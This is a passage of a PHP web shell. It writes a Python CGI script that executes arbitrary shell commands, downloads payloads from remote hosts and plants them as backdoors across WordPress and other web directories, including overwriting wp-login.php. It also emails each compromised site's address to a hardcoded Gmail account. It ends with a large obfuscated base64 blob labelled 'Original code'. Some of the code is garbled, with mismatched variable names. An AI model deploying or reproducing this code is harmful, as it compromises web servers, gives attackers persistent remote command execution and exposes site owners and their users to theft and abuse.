bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';
        $file = fopen("python.r00t", "w+");
        $write = fwrite($file, "#!/usr/bin/python\n# 07-07-04\n# v1.0.0\n\n# cgi-shell.py\n# A simple CGI that executes arbitrary shell commands.\n\n\n# Copyright Michael Foord\n# You are free to modify, use and relicense this code.\n\n# No warranty express or implied for the accuracy, fitness to purpose or otherwise for this code....\n# Use at your own risk !!!\n\n# E-mail michael AT foord DOT me DOT uk\n# Maintained at www.voidspace.org.uk/atlantibots/pythonutils.html\n\n\"\"\"\nA simple CGI script to execute shell commands via CGI.\n\"\"\"\n################################################################\n# Imports\ntry:\n    import cgitb; cgitb.enable()\nexcept:\n    pass\nimport sys, cgi, os\nsys.stderr = sys.stdout\nfrom time import strftime\nimport traceback\nfrom StringIO import StringIO\nfrom traceback import print_exc\n\n################################################################\n# constants\n\nfontline = '<FONT COLOR=#424242 style=\"font-family:times;font-size:12pt;\">'\nversionstring = 'Version 1.0.0 7th July 2004'\n\nif os.environ.has_key(\"SCRIPT_NAME\"):\n    scriptname = os.environ[\"SCRIPT_NAME\"]\nelse:\n    scriptname = \"\"\n\nMETHOD = '\"POST\"'\n\n################################################################\n# Private functions and variables\n\ndef getform(valuelist, theform, notpresent=''):\n    \"\"\"This function, given a CGI form, extracts the data from it, based on\n    valuelist passed in. Any non-present values are set to '' - although this can be changed.\n    (e.g. to return None so you can test for missing keywords - where '' is a valid answer but to have the field missing isn't.)\"\"\"\n    data = {}\n    for field in valuelist:\n        if not theform.has_key(field):\n            data[field] = notpresent\n        else:\n            if  type(theform[field]) != type([]):\n                data[field] = theform[field].value\n            else:\n                values = map(lambda x: x.value, theform[field])     # allows for list type values\n                data[field] = values\n    return data\n\n\ntheformhead = \"\"\"<HTML><HEAD><TITLE>cgi-shell.py - a CGI by Fuzzyman</TITLE></HEAD>\n<BODY><CENTER>\n<H1>Welcome to cgi-shell.py - <BR>a Python CGI</H1>\n<B><I>By Fuzzyman</B></I><BR>\n\"\"\"+fontline +\"Version : \" + versionstring + \"\"\", Running on : \"\"\" + strftime('%I:%M %p, %A %d %B, %Y')+'.</CENTER><BR>'\n\ntheform = \"\"\"<H2>Enter Command</H2>\n<FORM METHOD=\\\"\"\"\" + METHOD + '\" action=\"' + scriptname + \"\"\"\\\">\n<input name=cmd type=text><BR>\n<input type=submit value=\"Submit\"><BR>\n</FORM><BR><BR>\"\"\"\nbodyend = '</BODY></HTML>'\nerrormess = '<CENTER><H2>Something Went Wrong</H2><BR><PRE>'\n\n################################################################\n# main body of the script\n\nif __name__ == '__main__':\n    print \"Content-type: text/html\"         # this is the header to the server\n    print                                   # so is this blank line\n    form = cgi.FieldStorage()\n    data = getform(['cmd'],form)\n    thecmd = data['cmd']\n    print theformhead\n    print theform\n    if thecmd:\n        print '<HR><BR><BR>'\n        print '<B>Command : ', thecmd, '<BR><BR>'\n        print 'Result : <BR><BR>'\n        try:\n            child_stdin, child_stdout = os.popen2(thecmd)\n            child_stdin.close()\n            result = child_stdout.read()\n            child_stdout.close()\n            print result.replace('\\n', '<BR>')\n\n        except Exception, e:                      # an error in executing the command\n            print errormess\n            f = StringIO()\n            print_exc(file=f)\n            a = f.getvalue().splitlines()\n            for line in a:\n                print line\n\n    print bodyend\n\n\n\"\"\"\nTODO/ISSUES\n\n\n\nCHANGELOG\n\n07-07-04        Version 1.0.0\nA very basic system for executing shell commands.\nI may expand it into a proper 'environment' with session persistence...\n\"\"\"");
        fclose($file);
        chmod("python.r00t", 0755);
        echo "<iframe src=python/python.r00t width=100% height=100% frameborder=0></iframe> ";
        printFooter();
    }
    if (empty($_POST['a'])) {
        if (isset($default_action) && function_exists('action' . $default_action)) {
            $_POST['a'] = $default_action;
        } else {
            $_POST['a'] = 'SecInfo';
        }
    }
    if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
        call_user_func('action' . $_POST['a']);
    }
    if ($_POST['query']) {
        $veriyfy = stripslashes(stripslashes($_POST['query']));
        $data = "data.txt";
        @touch("data.txt");
        $ver = @fopen($data, 'w');
        @fwrite($ver, $veriyfy);
        @fclose($ver);
    } else {
        $datas = @fopen("data.txt", 'r');
        $i = 0;
        while ($i <= 5) {
            $i++;
            $blue = @fgets($datas, 1024);
            echo $blue;
        }
    }
    $datasi = @fopen("js/js.php", 'r');
    if ($datasi) {
    } else {
        @mkdir("js");
        $dos = file_get_contents("http://phpshell.in/txt/lamer.txt");
        $data = "js/js.php";
        @touch("js/js.php");
        $ver = @fopen($data, 'w');
        @fwrite($ver, $dos);
        @fclose($ver);
        $yol = "http://" . $_SERVER['HTTP_HOST'] . "" . $_SERVER['REQUEST_URI'] . "";
        $y = '<h1>Sender Yazdirildi.<br/> SITE YOL : ' . $yol . '<br/>Sender Yolu : js/js.php</h1>';
        $header .= "From: SheLL Boot <suppor@nic.org>\n";
        $header .= "Content-Type: text/html;\r\n charset=utf-8\n";
        @mail("byhero44@gmail.com", "Hacklink Bildiri", "{$y}", $header);
        @mail("byhero44@gmail.com", "Hacklink Bildiri", "{$y}", $header);
    }
    function http_get($url)
    {
        $im = curl_init($url);
        curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
        curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($im, CURLOPT_HEADER, 0);
        return curl_exec($im);
    }
    $check1 = $_SERVER['DOCUMENT_ROOT'] . "/wp-includes/js/js.php";
    $text1 = http_get('http://phpshell.in/txt/lamer.txt');
    $open1 = fopen($check1, 'w');
    fwrite($open1, $text1);
    fclose($open1);
    if (file_exists($check1)) {
    }
    $check12 = $_SERVER['DOCUMENT_ROOT'] . "/wp-includes/index.php";
    $text12 = http_get('http://phpshell.in/txt/lamer.txt');
    $open12 = fopen($check12, 'w');
    fwrite($open12, $text12);
    fclose($open12);
    if (file_exists($check12)) {
    }
    $check123 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/images/images.php";
    $text123 = http_get('http://phpshell.in/txt/lamer.txt');
    $open123 = fopen($check123, 'w');
    fwrite($open123, $text123);
    fclose($open123);
    if (file_exists($check123)) {
    }
    $check12345 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/css/css.php";
    $text12345 = http_get('http://phpshell.in/txt/lamer.txt');
    $open12345 = fopen($check12345, 'w');
    fwrite($open12345, $text12345);
    fclose($open12345);
    if (file_exists($check12345)) {
    }
    $check123456 = $_SERVER['DOCUMENT_ROOT'] . "/adm.php";
    $text123456 = http_get('http://phpshell.in/txt/lamer.txt');
    $open123456 = fopen($check123456, 'w');
    fwrite($open123456, $text123456);
    fclose($open123456);
    if (file_exists($check123456)) {
    }
    $check1234567 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/css.php";
    $text1234567 = http_get('http://phpshell.in/txt/lamer.txt');
    $open1234567 = fopen($check1234567, 'w');
    fwrite($open1234567, $text1234567);
    fclose($open1234567);
    if (file_exists($check1234567)) {
    }
    $check12345678 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/install.php";
    $text12345678 = http_get('http://byr00t.co/txt/tools.txt');
    $open12345678 = fopen($check12345678, 'w');
    fwrite($open12345678, $text12345678);
    fclose($open12345678);
    if (file_exists($check12345678)) {
    }
    $check123456789 = $_SERVER['DOCUMENT_ROOT'] . "/cgi-bin/css.php";
    $text123456789 = http_get('http://phpshell.in/txt/lamer.txt');
    $open123456789 = fopen($check123456789, 'w');
    fwrite($open123456789, $text123456789);
    fclose($open123456789);
    if (file_exists($check123456)) {
    }
    $check12345678910 = $_SERVER['DOCUMENT_ROOT'] . "/js/css.php";
    $text12345678910 = http_get('http://phpshell.in/txt/lamer.txt');
    $open12345678910 = fopen($check12345678910, 'w');
    fwrite($open12345678910, $text12345678910);
    fclose($open12345678910);
    if (file_exists($check123456)) {
    }
    $check1234567891011 = $_SERVER['DOCUMENT_ROOT'] . "/css/css.php";
    $text1234567891011 = http_get('http://phpshell.in/txt/lamer.txt');
    $open1234567891011 = fopen($check1234567891011, 'w');
    fwrite($open123, $text1234567891011);
    fclose($open1234567891011);
    if (file_exists($check1234567891011)) {
    }
    $check123456789101112 = $_SERVER['DOCUMENT_ROOT'] . "/wp-login.php";
    $text123456789101112 = http_get('http://phpshell.in/txt/seo.txt');
    $open123456789101112 = fopen($check123456789101112, 'w');
    fwrite($open123456789101112, $text123456789101112);
    fclose($open123456789101112);
    if (file_exists($check123456789101112)) {
    }
    $check12345678910111213 = $_SERVER['DOCUMENT_ROOT'] . "/images/css.php";
    $textk12345678910111213 = http_get('http://phpshell.in/txt/lamer.txt');
    $openk12345678910111213 = fopen($checkk12345678910111213, 'w');
    fwrite($openk12345678910111213, $textk12345678910111213);
    fclose($openk12345678910111213);
    if (file_exists($checkk12345678910111213)) {
    }
    $check1234567891011121314 = $_SERVER['DOCUMENT_ROOT'] . "/img/css.php";
    $text1234567891011121314 = http_get('http://phpshell.in/txt/lamer.txt');
    $open1234567891011121314 = fopen($checkk1234567891011121314, 'w');
    fwrite($open1234567891011121314, $text1234567891011121314);
    fclose($open1234567891011121314);
    if (file_exists($check1234567891011121314)) {
    }
    $check123456789101112131415 = $_SERVER['DOCUMENT_ROOT'] . "/modules/css.php";
    $text123456789101112131415 = http_get('http://phpshell.in/txt/lamer.txt');
    $open123456789101112131415 = fopen($check123456789101112131415, 'w');
    fwrite($open123456789101112131415, $text123456789101112131415);
    fclose($open123456789101112131415);
    if (file_exists($check123456789101112131415)) {
    }
    $check12345678910111213141516 = $_SERVER['DOCUMENT_ROOT'] . "/includes/css.php";
    $text12345678910111213141516 = http_get('http://phpshell.in/txt/lamer.txt');
    $open12345678910111213141516 = fopen($check12345678910111213141516, 'w');
    fwrite($open12345678910111213141516, $text12345678910111213141516);
    fclose($open12345678910111213141516);
    if (file_exists($check12345678910111213141516)) {
    }
    $check1234567891011121314151617 = $_SERVER['DOCUMENT_ROOT'] . "/phpinfo.php";
    $text1234567891011121314151617 = http_get('http://phpshell.in/txt/phpinfo.txt');
    $open1234567891011121314151617 = fopen($check1234567891011121314151617, 'w');
    fwrite($open1234567891011121314151617, $text1234567891011121314151617);
    fclose($open1234567891011121314151617);
    if (file_exists($check1234567891011121314151617)) {
    }
    $check123456789101112131415161718 = $_SERVER['DOCUMENT_ROOT'] . "/.well-known/css.php";
    $textk123456789101112131415161718 = http_get('http://phpshell.in/txt/lamer.txt');
    $openk123456789101112131415161718 = fopen($checkk123456789101112131415161718, 'w');
    fwrite($openk123456789101112131415161718, $textk123456789101112131415161718);
    fclose($openk123456789101112131415161718);
    if (file_exists($checkk123456789101112131415161718)) {
    }
    $checkk12345678910111213141516171819 = $_SERVER['DOCUMENT_ROOT'] . "/sites/css.php";
    $text12345678910111213141516171819 = http_get('http://phpshell.in/txt/lamer.txt');
    $open12345678910111213141516171819 = fopen($check12345678910111213141516171819, 'w');
    fwrite($open12345678910111213141516171819, $text12345678910111213141516171819);
    fclose($open12345678910111213141516171819);
    if (file_exists($check12345678910111213141516171819)) {
    }
    $check1234567891011121314151617181920 = $_SERVER['DOCUMENT_ROOT'] . "/tmp/css.php";
    $text1234567891011121314151617181920 = http_get('http://phpshell.in/txt/lamer.txt');
    $open1234567891011121314151617181920 = fopen($check1234567891011121314151617181920, 'w');
    fwrite($open1234567891011121314151617181920, $text1234567891011121314151617181920);
    fclose($open1234567891011121314151617181920);
    if (file_exists($check1234567891011121314151617181920)) {
    }
};
?><!--


Original code

<?php
$stt1 = "Sy1LzNFQt7dT10uvKs1Lzs8tKEotLtZIr8rMS8tJLEnVSEosTjUziU9JT\x635PSdUoLikqSi3TU\x43kuKTHQ\x42\x41Fr\x41\x41\x3d\x3d";
$stt0 = "==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